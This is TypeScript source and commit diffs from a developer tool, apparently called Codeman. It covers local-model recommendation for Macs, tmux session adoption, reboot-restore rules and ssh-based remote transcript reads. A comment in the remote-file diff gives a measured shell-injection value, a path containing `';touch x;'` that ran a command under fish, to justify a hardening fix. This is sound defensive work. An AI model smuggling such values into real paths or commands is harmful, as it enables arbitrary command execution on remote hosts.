* - Verdict `limited` when NO model with 12 billion parameters or more fits this Mac's memory
* at a context a usable harness works at. It is a statement about the Mac ("This Mac can run
* a small model"), so it is judged on everything that fits, BEFORE the disk filter and
* whatever the pick is: a 36 GB Mac whose pick is a 9B model while a 20B, a 27B and a 35B
* are listed under it is not a small-model Mac, and a 48 GB Mac does not become one because
* its disk is full. A small pick under verdict `ok` carries `noteSmallPick` instead.
* - The word "Recommended" (`LOCAL_MODEL_LABELS.headlineTested`) only for verdict `ok` with a
* pick whose model has a `tested` entry for exactly this chip, this memory size and this
* harness. Otherwise `headlineOk` (or `headlineLimited`) plus `noteUntested`.
* - Every label in the result comes from `LOCAL_MODEL_LABELS`, every computed size text from
* `formatGb()`. The one size that is not decimal GB is the installed memory in `noneMemory`:
* `HardwareFacts.memClassGb`, the size the Mac is sold as. No number is spliced into a
* sentence here.
* - No CLI id is ever compared with a literal: a harness is a catalogue row plus a
* `HarnessFact`.
*/
import {
LOCAL_MODEL_LABELS,
LOCAL_MODEL_NONE_LABELS,
type Candidate,
type DeviceBudget,
type FitGrade,
type HardwareFacts,
type HarnessFact,
type LocalHarnessEntry,
type LocalModelCatalog,
type LocalModelEntry,
type LocalModelLabel,
type LocalModelMessage,
type NoneReason,
type Recommendation,
type SpeedGrade,
} from '../types.js';
import { chipBandwidthGbps } from '../config/local-model-catalog.js';
import { formatGb, GIB, MIB } from './format.js';
/** Need over budget up to this share is a `good` fit. */
export const FIT_GOOD_MAX_SHARE = 0.85;
/** Need over budget up to this share is a `tight` fit; above it the model is out. */
export const FIT_TIGHT_MAX_SHARE = 0.98;
/** An estimated speed below this many tokens per second is `slow`. */
export const SLOW_BELOW_TOKENS_PER_SECOND = 10;
/** When no model that fits has at least this many billion parameters, the verdict is `limited`. A pick below it is a "small model". */
export const LIMITED_BELOW_PARAMS_B = 12;
/** What must stay free on the disk after the model download. */
export const DISK_HEADROOM_BYTES = 10 * GIB;
/** What the runtime needs beside the weights, the KV cache and the prompt cache (compute buffers). */
export const RUNTIME_OVERHEAD_BYTES = GIB;
/** How many other models are listed under the pick. */
export const MAX_ALTERNATIVES = 4;
/** A memory size of at least this many GB (as sold) gets 3/4 of its memory as device limit, below it 2/3. */
const LARGE_LIMIT_FROM_GB = 36;
/** The memory the system, Codeman, a browser and the agent keep for themselves, by the size the Mac is sold as. */
function reserveBytes(memClassGb: number): number {
if (memClassGb <= 18) return 6 * GIB;
if (memClassGb <= 48) return 8 * GIB;
return 12 * GIB;
}
/** The memory a model may use on this Mac: the device limit L, the budget B and where L came from. */
export function deviceBudget(hw: HardwareFacts): DeviceBudget {
const memBytes = Number.isFinite(hw.memBytes) && hw.memBytes > 0 ? hw.memBytes : 0;
// 0 means "not set" (both test Macs report 0): only a value above 0 is a limit.
const wired = hw.wiredLimitMb !== undefined && Number.isFinite(hw.wiredLimitMb) && hw.wiredLimitMb > 0;
const limitBytes = wired
? Math.floor((hw.wiredLimitMb as number) * MIB)
: Math.floor(memBytes * (hw.memClassGb < LARGE_LIMIT_FROM_GB ? 2 / 3 : 3 / 4));
const budgetBytes = Math.max(0, Math.min(limitBytes - GIB, memBytes - reserveBytes(hw.memClassGb)));
return { limitBytes, budgetBytes, source: wired ? 'wired-limit' : 'estimated' };
}
/** The prompt cache of the last tier whose minimum is not above this Mac's memory size. */
function promptCacheBytes(catalog: LocalModelCatalog, memClassGb: number): number {
let bytes = 0;
for (const tier of catalog.promptCacheTiers) {
if (tier.minMemGb <= memClassGb) bytes = tier.bytes;
}
return bytes;
}
/** F: the bytes `model` needs in memory at a context of `ctx` tokens on this Mac. */
export function needBytes(model: LocalModelEntry, ctx: number, catalog: LocalModelCatalog, hw: HardwareFacts): number {
return model.bytes + model.kvBytesPerToken * ctx + RUNTIME_OVERHEAD_BYTES + promptCacheBytes(catalog, hw.memClassGb);
}
function fitGrade(need: number, budgetBytes: number): FitGrade {
if (budgetBytes <= 0) return 'out';
const share = need / budgetBytes;
if (share <= FIT_GOOD_MAX_SHARE) return 'good';
if (share <= FIT_TIGHT_MAX_SHARE) return 'tight';
return 'out';
}
/**
* Whether the MACHINE is Apple silicon. `hw.optional.arm64` decides when it was read. Without
* it: a process under Rosetta, an arm64 process or an Apple chip name each prove Apple silicon
* (`arch` alone cannot say no, because Node under Rosetta reports x64).
*/
function isAppleSilicon(hw: HardwareFacts): boolean {
if (hw.arm64 !== undefined) return hw.arm64;
if (hw.translated === true || hw.arch === 'arm64') return true;
return /^Apple\b/i.test(hw.chip ?? '');
}
function round(value: number, decimals: number): number {
const factor = 10 ** decimals;
return Math.round(value * factor) / factor;
}
/** A candidate plus its catalogue row and the two ranks the ordering needs, none of which is part of the payload. */
interface Ranked {
candidate: Candidate;
model: LocalModelEntry;
modelRank: number;
harnessRank: number;
}
/** A catalogue harness row with the caller's fact about it. */
interface UsableHarness {
row: LocalHarnessEntry;
fact: HarnessFact;
}
const FIT_ORDER: Record<Candidate['fit'], number> = { good: 0, tight: 1 };
const SPEED_ORDER: Record<SpeedGrade, number> = { ok: 0, unknown: 1, slow: 2 };
/** Best first. */
function compareRanked(a: Ranked, b: Ranked): number {
return (
FIT_ORDER[a.candidate.fit] - FIT_ORDER[b.candidate.fit] ||
SPEED_ORDER[a.candidate.speed] - SPEED_ORDER[b.candidate.speed] ||
b.modelRank - a.modelRank ||
b.harnessRank - a.harnessRank ||
b.candidate.context - a.candidate.context
);
}
/** A function supplied by the caller must not be able to break a pure answer. */
function accepts(fact: HarnessFact, modelId: string): boolean {
try {
return fact.acceptsModelId(modelId) === true;
} catch {
return false;
}
}
function buildCandidate(
model: LocalModelEntry,
ctx: number,
harness: UsableHarness,
need: number,
fit: Candidate['fit'],
hw: HardwareFacts,
catalog: LocalModelCatalog,
budgetBytes: number
): Candidate {
const gbps = chipBandwidthGbps(catalog.chips, hw.chip);
const rawSpeed =
gbps !== undefined && model.speedPer100Gbps !== undefined ? (model.speedPer100Gbps * gbps) / 100 : undefined;
// Graded on the unrounded figure: 9.96 rounds to 10.0 for the payload and is still slow.
const speed: SpeedGrade =
rawSpeed === undefined ? 'unknown' : rawSpeed < SLOW_BELOW_TOKENS_PER_SECOND ? 'slow' : 'ok';
const tokensPerSecond = rawSpeed === undefined ? undefined : round(rawSpeed, 1);
// "A Mac like this" is exact: the same chip string, the same memory size as sold, the same harness.
const tested = model.tested.some(
(entry) => entry.chip === hw.chip && entry.memGb === hw.memClassGb && entry.cli === harness.row.cli
);
return {
modelId: model.id,
modelLabel: model.label,
license: model.license,
paramsB: model.paramsB,
context: ctx,
cli: harness.row.cli,
cliLabel: harness.fact.label,
cliInstalled: harness.fact.installed,
...(harness.row.slowFirstTurn ? { slowFirstTurn: true } : {}),
needBytes: need,
needGb: formatGb(need),
downloadBytes: model.bytes,
downloadGb: formatGb(model.bytes),
budgetShare: round(need / budgetBytes, 3),
fit,
fitLabel: fit === 'good' ? LOCAL_MODEL_LABELS.fitGood : LOCAL_MODEL_LABELS.fitTight,
speed,
...(speed === 'slow' ? { speedLabel: LOCAL_MODEL_LABELS.speedSlow } : {}),
...(speed === 'unknown' ? { speedLabel: LOCAL_MODEL_LABELS.speedUnknown } : {}),
...(tokensPerSecond !== undefined ? { tokensPerSecond } : {}),
tested,
};
}
/** A `none` answer. `text` replaces the reason's default sentence (the `memory` reason has three). */
function none(
reason: NoneReason,
budget: DeviceBudget,
vars?: Record<string, string>,
text: LocalModelLabel = LOCAL_MODEL_NONE_LABELS[reason]
): Recommendation {
return {
verdict: 'none',
reason,
headline: { text, ...(vars ? { vars } : {}) },
notes: [],
alternatives: [],
budgetBytes: budget.budgetBytes,
budgetGb: formatGb(budget.budgetBytes),
budgetSource: budget.source,
};
}
/**
* The recommendation for this Mac. `harnessFacts` holds one fact per catalogue harness the
* caller could resolve; a catalogue harness without a fact is not offered.
*/
export function recommend(
hw: HardwareFacts,
catalog: LocalModelCatalog,
harnessFacts: readonly HarnessFact[]
): Recommendation {
// Off macOS and on an Intel Mac there is no budget to compute: a model has no memory to run in.
const noBudget: DeviceBudget = { limitBytes: 0, budgetBytes: 0, source: 'estimated' };
if (hw.platform !== 'darwin') return none('not-macos', noBudget);
if (!isAppleSilicon(hw)) return none('intel', noBudget);
const budget = deviceBudget(hw);
if (hw.macosMajor !== undefined && hw.macosMajor < catalog.minMacosMajor) {
return none('macos', budget, {
version: hw.macosVersion ?? String(hw.macosMajor),
minimum: String(catalog.minMacosMajor),
});
}
// Every (model, context) that fits the budget, before any harness is looked at.
const fitting: { model: LocalModelEntry; ctx: number; need: number; fit: Candidate['fit'] }[] = [];
for (const model of catalog.models) {
for (const ctx of model.contexts) {
const need = needBytes(model, ctx, catalog, hw);
const fit = fitGrade(need, budget.budgetBytes);
if (fit !== 'out') fitting.push({ model, ctx, need, fit });
}
}
// Nothing fits at any context. The installed memory is named by the size the Mac is sold
// as; a size that could not be read is not stated at all (never "0 GB of memory").
const tooLittleMemory = (): Recommendation =>
Number.isFinite(hw.memClassGb) && hw.memClassGb > 0
? none('memory', budget, { memory: String(hw.memClassGb) })
: none('memory', budget, undefined, LOCAL_MODEL_LABELS.noneMemoryUnknown);
if (fitting.length === 0) return tooLittleMemory();
// A gated row is never offered, whatever the caller knows about its CLI.
const usable: UsableHarness[] = [];
for (const row of catalog.harnesses) {
if (row.gated) continue;
const fact = harnessFacts.find((candidate) => candidate.cli === row.cli);
if (fact && (fact.installed || fact.installable)) usable.push({ row, fact });
}
if (usable.length === 0) return none('no-harness', budget);
const atHarnessContext = fitting.flatMap((entry) =>
usable.filter((harness) => entry.ctx >= harness.row.minContext).map((harness) => ({ ...entry, harness }))
);
if (atHarnessContext.length === 0) {
// Models fit, but only below the context a harness needs. Say both numbers: the smallest
// need at such a context can sit a hair over the line, and the budget is an estimate.
const smallestContext = Math.min(...usable.map((harness) => harness.row.minContext));
let smallestNeed: number | undefined;
for (const model of catalog.models) {
for (const ctx of model.contexts) {
if (ctx < smallestContext) continue;
const need = needBytes(model, ctx, catalog, hw);
if (smallestNeed === undefined || need < smallestNeed) smallestNeed = need;
}
}
if (smallestNeed === undefined) return tooLittleMemory();
return none(
'memory',
budget,
{ budget: formatGb(budget.budgetBytes), need: formatGb(smallestNeed) },
LOCAL_MODEL_LABELS.noneMemoryContext
);
}
const accepted = atHarnessContext.filter((entry) => accepts(entry.harness.fact, entry.model.id));
if (accepted.length === 0) return none('no-harness', budget);
// The download must leave headroom on the disk. An unknown free disk does not block.
const free = hw.freeDiskBytes;
const hasRoom = (model: LocalModelEntry): boolean => free === undefined || free - model.bytes >= DISK_HEADROOM_BYTES;
if (free !== undefined && !accepted.some((entry) => hasRoom(entry.model))) {
const smallest = Math.min(...accepted.map((entry) => entry.model.bytes));
return none('disk', budget, {
download: formatGb(smallest),
reserve: formatGb(DISK_HEADROOM_BYTES),
free: hw.freeDiskGb ?? formatGb(free),
missing: formatGb(smallest + DISK_HEADROOM_BYTES - free),
});
}
// Everything that fits is ranked, the models without room on the disk included: the best of
// those is named in a note, so a full disk never removes a model without a word.
const ranked: Ranked[] = accepted
.map((entry) => ({
candidate: buildCandidate(
entry.model,
entry.ctx,
entry.harness,
entry.need,
entry.fit,
hw,
catalog,
budget.budgetBytes
),
model: entry.model,
modelRank: entry.model.rank,
harnessRank: entry.harness.row.rank,
}))
.sort(compareRanked);
// The first candidate of each model is that model at its best context and harness.
const bestPerModel: Ranked[] = [];
for (const entry of ranked) {
if (!bestPerModel.some((kept) => kept.model.id === entry.model.id)) bestPerModel.push(entry);
}
const offered = bestPerModel.filter((entry) => hasRoom(entry.model)).map((entry) => entry.candidate);
const leftOutForDisk = bestPerModel.find((entry) => !hasRoom(entry.model));
const [pick, ...others] = offered;
// About the Mac, not the pick, and judged before the disk filter (see the file header).
const limited = !accepted.some((entry) => entry.model.paramsB >= LIMITED_BELOW_PARAMS_B);
const headline = limited
? LOCAL_MODEL_LABELS.headlineLimited
: pick.tested
? LOCAL_MODEL_LABELS.headlineTested
: LOCAL_MODEL_LABELS.headlineOk;
const notes: LocalModelMessage[] = [];
// The limited headline already says it. Under `ok` a small pick must still be called small.
if (!limited && pick.paramsB < LIMITED_BELOW_PARAMS_B) notes.push({ text: LOCAL_MODEL_LABELS.noteSmallPick });
if (leftOutForDisk && free !== undefined) {
notes.push({
text: LOCAL_MODEL_LABELS.noteDiskDropped,
vars: {
model: leftOutForDisk.model.label,
missing: formatGb(leftOutForDisk.model.bytes + DISK_HEADROOM_BYTES - free),
},
});
}
if (!pick.tested) notes.push({ text: LOCAL_MODEL_LABELS.noteUntested });
return {
verdict: limited ? 'limited' : 'ok',
headline: { text: headline },
notes,
pick,
alternatives: others.slice(0, MAX_ALTERNATIVES),
budgetBytes: budget.budgetBytes,
budgetGb: formatGb(budget.budgetBytes),
budgetSource: budget.source,
};
}
+12
View File
@@ -26,6 +26,7 @@ import type {
SessionRemote,
SessionDocker,
PaneExit,
SessionAdopt,
StatusLineExporter,
} from './types.js';
@@ -47,6 +48,13 @@ export interface MuxSession {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/**
* Adoption metadata for a wrapper session around a human-started tmux session.
* Round-trips through `mux-sessions.json` like remote/docker: without it a
* restored wrapper would not know what to re-attach to, and `killSession`
* would lose the detach-not-kill guard.
*/
adopt?: SessionAdopt;
/** Owning username in multi-user mode (round-tripped through recovery like remote/docker) */
owner?: string;
/** Session mode */
@@ -139,6 +147,8 @@ export interface CreateSessionOptions {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/** Adoption metadata; its presence selects the foreign-attach launch command. */
adopt?: SessionAdopt;
/** Owning username in multi-user mode; persisted for recovery. */
owner?: string;
}
@@ -196,6 +206,8 @@ export interface RespawnPaneOptions {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/** Adoption metadata; a respawn of an adopted wrapper RE-ATTACHES, it never relaunches an agent. */
adopt?: SessionAdopt;
/** Owning username (multi-user); redundant on respawn since the Session object survives, kept for shape parity. */
owner?: string;
}
+3
View File
@@ -21,6 +21,7 @@ import { open, readdir, stat } from 'node:fs/promises';
import { join } from 'node:path';
import { promisify } from 'node:util';
import type { PredictionToolCall, WorkspaceSignals } from './readmymind-context.js';
import { gitMissingError, gitSpawnAllowed } from './utils/git-availability.js';
const execFileAsync = promisify(execFile);
@@ -150,6 +151,8 @@ const MAX_STATUS_LINES = 30;
*/
export async function collectWorkspaceSignals(workingDir: string): Promise<WorkspaceSignals | null> {
const git = async (args: string[]): Promise<string> => {
// Never Apple's placeholder git on a Mac without developer tools (utils/git-availability.ts).
if (!gitSpawnAllowed()) throw gitMissingError();
const { stdout } = await execFileAsync('git', args, {
cwd: workingDir,
timeout: GIT_TIMEOUT_MS,
+10
View File
@@ -127,6 +127,7 @@ export interface RebootRestoreRejection {
| 'agent-exited'
| 'respawn-blocked'
| 'remote-or-docker'
| 'adopted'
| 'unsupported-mode'
| 'no-working-dir'
| 'workspace-missing'
@@ -224,6 +225,15 @@ export function planRebootRestore(
skipped.push({ sessionId, reason: 'remote-or-docker' });
continue;
}
if (state.adopt) {
// ⚠️ Same family as the rule above, different reason. Codeman never started the
// process this session wrapped: all it ever had was an attach command. Replaying
// that builds a connection to a foreign session that a reboot has almost certainly
// taken with it, and, worse, the rebuilt tab would present whatever the attach
// lands on as a session we restored, passing someone else's work off as ours.
skipped.push({ sessionId, reason: 'adopted' });
continue;
}
// Capability, not a CLI id: this pass resumes by handing the CLI a conversation
// id through the top-level `resumeSessionId`, which only a CLI whose history the
// claude-jsonl reader understands can consume that way. Others carry their thread
+583 -7
View File
@@ -17,9 +17,9 @@
*
* ⚠️ The path is the injection surface: it arrives from the browser (`?path=`). It is
* always interpolated as a single `shellescape`d token, and the whole remote command
* is itself shellescaped into the ssh line, so the local shell and the remote shell
* each see one opaque argument. Never build a command here by concatenating a raw
* path into the string.
* is {@link remoteLoginShellLine} shellescaped into the ssh line, so the local shell
* and the remote login shell each see one opaque argument, whichever shell that is.
* Never build a command here by concatenating a raw path into the string.
*
* Read-only by design: previews, text reads and streaming. Writing to a remote file
* is deliberately NOT implemented (docs/file-viewer-edit-plan.md §6), nor are the
@@ -30,8 +30,9 @@ import { exec, spawn } from 'node:child_process';
import { promisify } from 'node:util';
import { PassThrough, type Readable } from 'node:stream';
import type { SessionRemote } from './types/session.js';
import { buildSshConnectionArgs, remoteSshTarget, shellescape } from './remote-hosts.js';
import { buildSshConnectionArgs, remoteSshTarget, shellescape, withRemoteTmuxPath } from './remote-hosts.js';
import { runWithRemoteSshLimit } from './remote-ssh-limiter.js';
import type { EditSourceReadOptions, EditSourceRequest, EditSources } from './edit-history-local-source.js';
const execAsync = promisify(exec);
@@ -108,16 +109,42 @@ export class RemoteFileAccessError extends Error {
}
}
/**
* A POSIX script as one line that every remote login shell reads the same way, and hands
* to `sh`.
*
* ⚠️ sshd gives the command to the user's LOGIN shell, and {@link shellescape} quotes for a
* POSIX one. Inside single quotes fish takes `\'` as a literal quote, so `'\''` stops
* closing and reopening the string, and csh and tcsh end a command at a newline even there
* and run the script line by line. Both let a path act as a command (measured: a path
* holding `';touch x;'` ran `touch x` under fish, and one holding a newline ran the next
* line under tcsh). So the script travels as `printf` text with the bytes those shells
* treat specially written as octal: no quote, backslash pair, newline or `!` for the login
* shell to read, and `%` so `printf` keeps its hands off too. Only `sh` sees the script.
*/
export function remoteLoginShellLine(script: string): string {
const text = Array.from(Buffer.from(script), (byte) => {
const char = String.fromCharCode(byte);
return byte < 0x20 || byte > 0x7e || "'\\%!".includes(char) ? `\\${byte.toString(8).padStart(3, '0')}` : char;
}).join('');
return `sh -c 'eval "$(printf "$1")"' sh '${text}'`;
}
/**
* Wrap a remote shell command in the shared, shellescaped ssh line.
*
* The single entry point for "run this on the remote host": connection args (port,
* identity, jump host, SOCKS ProxyCommand, extra `-o`) all come from
* `buildSshConnectionArgs`, and the command is ONE shellescaped token, so a path with
* spaces, quotes or `$(…)` cannot escape into the ssh command line.
* `buildSshConnectionArgs`, and the command is ONE shellescaped token holding
* {@link remoteLoginShellLine}, so a path with spaces, quotes or `$(…)` cannot escape
* into the ssh command line or the remote login shell.
*/
export function buildRemoteFileCommand(remote: SessionRemote, shellCommand: string): string {
return [...buildSshConnectionArgs(remote), remoteSshTarget(remote), shellescape(shellCommand)].join(' ');
return [
...buildSshConnectionArgs(remote),
remoteSshTarget(remote),
shellescape(remoteLoginShellLine(shellCommand)),
].join(' ');
}
/**
@@ -413,6 +440,555 @@ export async function remoteReadFile(remote: SessionRemote, remotePath: string,
}
}
/** Conversation ids are uuids; anything else never reaches the remote shell. */
const CLAUDE_TRANSCRIPT_ID_PATTERN = /^[A-Za-z0-9._-]+$/;
/** Exit status the edit-history scripts use for "no such transcript on that host". */
const TRANSCRIPT_NOT_FOUND_EXIT = 3;
/** Transcript files an edit-source request may name; nothing else reaches the shell. */
const EDIT_SOURCE_REL_PATH_PATTERN = /^(main|subagents\/agent-[A-Za-z0-9_-]+\.jsonl)$/;
/** The meta record's relPath; group 1 is the agentId. */
const EDIT_SOURCE_META_REL_PATH_PATTERN = /^subagents\/agent-([A-Za-z0-9_-]+)\.meta\.json$/;
/** Cap on one subagent `.meta.json` record (outside the transcript budget), as in the local reader. */
const EDIT_SOURCE_META_MAX_BYTES = 8192;
/**
* Cap on all meta records of one read (the local reader has none). A meta comes only with a
* subagent's first read, so one past the cap is never sent: that subagent's transcript is read
* as usual, and the panel names it by its id instead of its description.
*/
const EDIT_SOURCE_META_BUDGET_BYTES = 4 * 1024 * 1024;
/** Room for the record headers (one per transcript file) on top of budget and metas. */
const EDIT_SOURCE_HEADER_SLACK_BYTES = 1024 * 1024;
/**
* Subagent requests per ssh round trip of an edit-history read. Like
* {@link REMOTE_PROBE_CHUNK_SIZE}: the script is ONE argument of the ssh line, Linux caps a
* single argv string at 128 KiB, and each request adds a `case` line of 139 bytes once
* encoded for the login shell (376 with the longest name a filesystem allows; the test pins
* that worst case). See {@link planRemoteEditSourceRounds}.
*/
const EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP = 300;
/**
* The slowest link an edit-history read is given time for. Such a read can carry megabytes
* (a forward pass its budget plus the metas, "Load older" up to three budgets), which a flat
* {@link REMOTE_READ_TIMEOUT_MS} would cut off below ~1 MiB/s. 256 KiB/s ≈ 2 Mbit/s.
*/
const EDIT_SOURCE_MIN_BYTES_PER_SEC = 256 * 1024;
/**
* Timeout of an edit-history read that may return up to `maxBytes`: the flat read timeout plus
* the transfer time at {@link EDIT_SOURCE_MIN_BYTES_PER_SEC}. It ends a hung read (a host that
* fell asleep mid-transfer; no keepalives, see the wake invariants), it does not cut a slow one.
*/
export function remoteEditSourcesTimeoutMs(maxBytes: number): number {
return REMOTE_READ_TIMEOUT_MS + Math.ceil((Math.max(0, maxBytes) / EDIT_SOURCE_MIN_BYTES_PER_SEC) * 1000);
}
/**
* The ssh line of an edit-history lookup or read: {@link buildRemoteFileCommand} with `exec`, so a
* timeout reaches ssh itself. Node signals the local `sh -c`, and dash stays the parent of a
* plain command, which would leave ssh running and the remote read holding its connection.
*/
export function buildRemoteEditHistoryCommand(remote: SessionRemote, shellCommand: string): string {
return `exec ${buildRemoteFileCommand(remote, shellCommand)}`;
}
const TMUX_NAME_PATTERN = /^[A-Za-z0-9._-]+$/;
/** Where a remote session's agent runs: the remote tmux socket and session (`remoteTmuxLocation`). */
export interface RemoteClaudePane {
socket: string;
sessionName: string;
}
function isByteCount(value: unknown): value is number {
return typeof value === 'number' && Number.isSafeInteger(value) && value >= 0;
}
/** De-duplicated ids that match {@link CLAUDE_TRANSCRIPT_ID_PATTERN}, in order. */
function safeClaudeTranscriptIds(ids: readonly string[]): string[] {
return [...new Set(ids)].filter((id) => CLAUDE_TRANSCRIPT_ID_PATTERN.test(id));
}
/** A main transcript path the read script takes: absolute, `<id>.jsonl`, no NUL or newline. */
export function isRemoteClaudeTranscriptPath(path: string): boolean {
if (!path.startsWith('/') || !path.endsWith('.jsonl') || /[\0\n]/.test(path)) return false;
return CLAUDE_TRANSCRIPT_ID_PATTERN.test(path.slice(path.lastIndexOf('/') + 1, -'.jsonl'.length));
}
/**
* Shell lines that set `cfg` to claude's config dir on the remote host: an absolute
* `CLAUDE_CONFIG_DIR` from the ssh command's environment, else `$HOME/.claude`, claude's own
* rule. ⚠️ The remote claude runs under `$SHELL -i -l -c` (`remoteLoginShellCommand`), this
* script under a plain non-interactive `sh` from sshd's `$SHELL -c`: a `CLAUDE_CONFIG_DIR` set
* only in a login or interactive profile (`.profile`, `.bash_profile`, `.zshrc`) is not seen
* here; one from `.zshenv`, sshd `SetEnv` or the system environment is.
*/
function claudeConfigDirLines(): string[] {
return ['cfg=$HOME/.claude', 'case ${CLAUDE_CONFIG_DIR:-} in /*) cfg=$CLAUDE_CONFIG_DIR ;; esac'];
}
/**
* Shell lines that set `live` to the conversation the claude in `pane` is writing NOW,
* or leave it empty; they need `cfg` ({@link claudeConfigDirLines}). Codeman launches a
* remote claude with `--session-id <id>`, but a `/clear` (or a resume picked inside claude)
* starts a new conversation, and with no hooks from a remote host Codeman never hears of it.
* claude itself keeps `<config dir>/sessions/<pid>.json` with the current `sessionId`, so: the
* pane's pid, its children and grandchildren (a wrapper shell may sit in between), the first
* of those with such a file. Only `[A-Za-z0-9._-]` survives the `sed`, the id pattern, so
* `$live` is safe unquoted. `ps -A -o pid= -o ppid=` is POSIX (no GNU `--ppid`).
*
* ⚠️ tmux runs on the PATH of every other remote tmux call ({@link withRemoteTmuxPath}): sshd's
* non-interactive shell may not list the directory it lives in, and a silent miss here leaves
* the panel on the launch conversation after a `/clear`. The `export` stays inside the `$(…)`,
* and inside this script, which runs under `sh` whatever the remote user's login shell is.
*
* ⚠️ `=name:` is an EXACT session match. Without the colon tmux reads a window target, so a
* session that is gone resolves to a window of that name or a session the name is a prefix of,
* and that session's conversation would land in this one's edit history.
*/
function liveClaudeIdLines(pane: RemoteClaudePane | undefined): string[] {
if (!pane || !TMUX_NAME_PATTERN.test(pane.socket) || !TMUX_NAME_PATTERN.test(pane.sessionName)) return [];
return [
'live=',
`pp=$(${withRemoteTmuxPath(`tmux -L ${shellescape(pane.socket)} list-panes -t ${shellescape(`=${pane.sessionName}:`)} -F '#{pane_pid}' 2>/dev/null | head -n 1`)})`,
"case $pp in ''|*[!0-9]*) pp= ;; esac",
'if [ -n "$pp" ]; then',
' tree=$(ps -A -o pid= -o ppid= 2>/dev/null)',
' kids=$(printf \'%s\\n\' "$tree" | awk -v p="$pp" \'$2 == p { print $1 }\')',
' grand=$(for k in $kids; do printf \'%s\\n\' "$tree" | awk -v p="$k" \'$2 == p { print $1 }\'; done)',
' for c in $pp $kids $grand; do',
' f="$cfg/sessions/$c.json"',
' [ -f "$f" ] || continue',
' live=$(sed -n \'s/.*"sessionId":"\\([A-Za-z0-9._-]*\\)".*/\\1/p\' "$f" | head -n 1)',
' [ -n "$live" ] && break',
' done',
'fi',
];
}
/**
* Script that finds a remote claude session's main transcript and prints `\0<path>\0`;
* exit {@link TRANSCRIPT_NOT_FOUND_EXIT} when there is none. First the conversation the
* claude in `pane` writes now ({@link liveClaudeIdLines}); without one, the most recently
* written transcript of ALL `ids`, not the first id that has one: the conversation claude
* wrote last is the current one whether a `/clear` moved on from the launch id or a respawn
* resumed it again, and no order of the ids gets both right. Each id is looked up as
* `<config dir>/projects/*\/<id>.jsonl` ({@link claudeConfigDirLines}). `$HOME` is expanded
* by the REMOTE shell: the transcript lives in the remote user's home, which the server
* cannot know.
*
* ⚠️ Runs under an explicit `sh` with `LC_ALL=C`: sshd runs a command in the remote user's
* LOGIN shell, and on a zsh host `ls` can be an alias and an unmatched glob aborts the whole
* script ("no matches found"). So: no `ls` at all, the newest file wins via `-nt`, and an
* `[ -f ]` guard on every glob. `C` makes bracket ranges and glob order plain bytes.
*/
export function buildRemoteClaudeTranscriptLocateCommand(ids: readonly string[], pane?: RemoteClaudePane): string {
const safeIds = safeClaudeTranscriptIds(ids);
if (safeIds.length === 0) return `exit ${TRANSCRIPT_NOT_FOUND_EXIT}`;
const liveLines = liveClaudeIdLines(pane);
const script = [
'LC_ALL=C',
'export LC_ALL',
'best=',
...claudeConfigDirLines(),
// newest <id>: `best` becomes that id's transcript if it is newer than the current best.
// BusyBox's (and bash 3.2's) `-nt` compares whole seconds: a tie keeps the earlier id, the
// stored conversation, until the next write; only without a live id.
'newest() {',
' for f in "$cfg"/projects/*/"$1".jsonl; do',
' [ -f "$f" ] || continue',
' if [ -z "$best" ] || [ "$f" -nt "$best" ]; then best=$f; fi',
' done',
'}',
...liveLines,
...(liveLines.length ? ['[ -z "$live" ] || newest "$live"'] : []),
'if [ -z "$best" ]; then',
` for id in ${safeIds.map((id) => shellescape(id)).join(' ')}; do newest "$id"; done`,
'fi',
`[ -n "$best" ] || exit ${TRANSCRIPT_NOT_FOUND_EXIT}`,
'printf \'\\0%s\\0\' "$best"',
].join('\n');
return `sh -c ${shellescape(script)}`;
}
/** The path from {@link buildRemoteClaudeTranscriptLocateCommand} output; null when there is none. */
export function parseRemoteClaudeTranscriptLocate(stdout: Buffer): string | null {
const start = stdout.indexOf(0);
const end = start === -1 ? -1 : stdout.indexOf(0, start + 1);
if (end === -1) return null;
const path = stdout.toString('utf8', start + 1, end);
return isRemoteClaudeTranscriptPath(path) ? path : null;
}
/**
* Find a remote claude session's main transcript in ONE ssh round trip (see
* {@link buildRemoteClaudeTranscriptLocateCommand}). `null` when it has none; an unreachable
* host, an ssh failure or broken output is a `RemoteFileAccessError`. Never wakes a host: a
* sleeping one is a connect timeout, like every other read in this module.
*/
export async function remoteLocateClaudeTranscript(
remote: SessionRemote,
ids: readonly string[],
pane?: RemoteClaudePane
): Promise<string | null> {
assertNotUnderTest();
const command = buildRemoteEditHistoryCommand(remote, buildRemoteClaudeTranscriptLocateCommand(ids, pane));
let stdout: Buffer;
try {
const result = await runWithRemoteSshLimit(() =>
execAsync(command, { timeout: REMOTE_READ_TIMEOUT_MS, maxBuffer: READ_BUFFER_SLACK_BYTES, encoding: 'buffer' })
);
stdout = Buffer.isBuffer(result.stdout) ? result.stdout : Buffer.from(result.stdout);
} catch (err) {
if ((err as { code?: unknown }).code === TRANSCRIPT_NOT_FOUND_EXIT) return null;
throw new RemoteFileAccessError(
`remote host ${remote.label || remote.host} unreachable: ${describeExecError(err)}`
);
}
const path = parseRemoteClaudeTranscriptLocate(stdout);
if (!path) throw new RemoteFileAccessError('unexpected output from the remote transcript lookup');
return path;
}
/** The requests a read script may take: the first per relPath, valid ones only. */
function validEditSourceRequests(requests: readonly EditSourceRequest[]): Map<string, EditSourceRequest> {
const byRelPath = new Map<string, EditSourceRequest>();
for (const request of requests) {
if (!request || typeof request.relPath !== 'string') continue;
if (!EDIT_SOURCE_REL_PATH_PATTERN.test(request.relPath)) continue;
if (!isByteCount(request.offset)) continue;
if (request.len !== undefined && !isByteCount(request.len)) continue;
if (byRelPath.has(request.relPath)) continue;
byRelPath.set(request.relPath, request);
}
return byRelPath;
}
/** One ssh round trip of an edit-history read ({@link planRemoteEditSourceRounds}). */
export interface RemoteEditSourceRound {
requests: EditSourceRequest[];
/** It reads the main transcript: the first round trip of a read does. */
main: boolean;
/** It takes the subagent files after this name ('' = from the first), in byte order. */
after: string;
/** It takes them up to and including this name ('' = to the last). */
upTo: string;
}
/**
* The ssh round trips a read takes. Up to `perRound` subagent requests fit one; more are sorted
* and cut into groups of `perRound`, or the ssh line would hit `E2BIG` and the session would
* stay `unavailable`: the cursors have no cap and the stored conversation is read first, so
* not even a `/clear` would get past it.
*
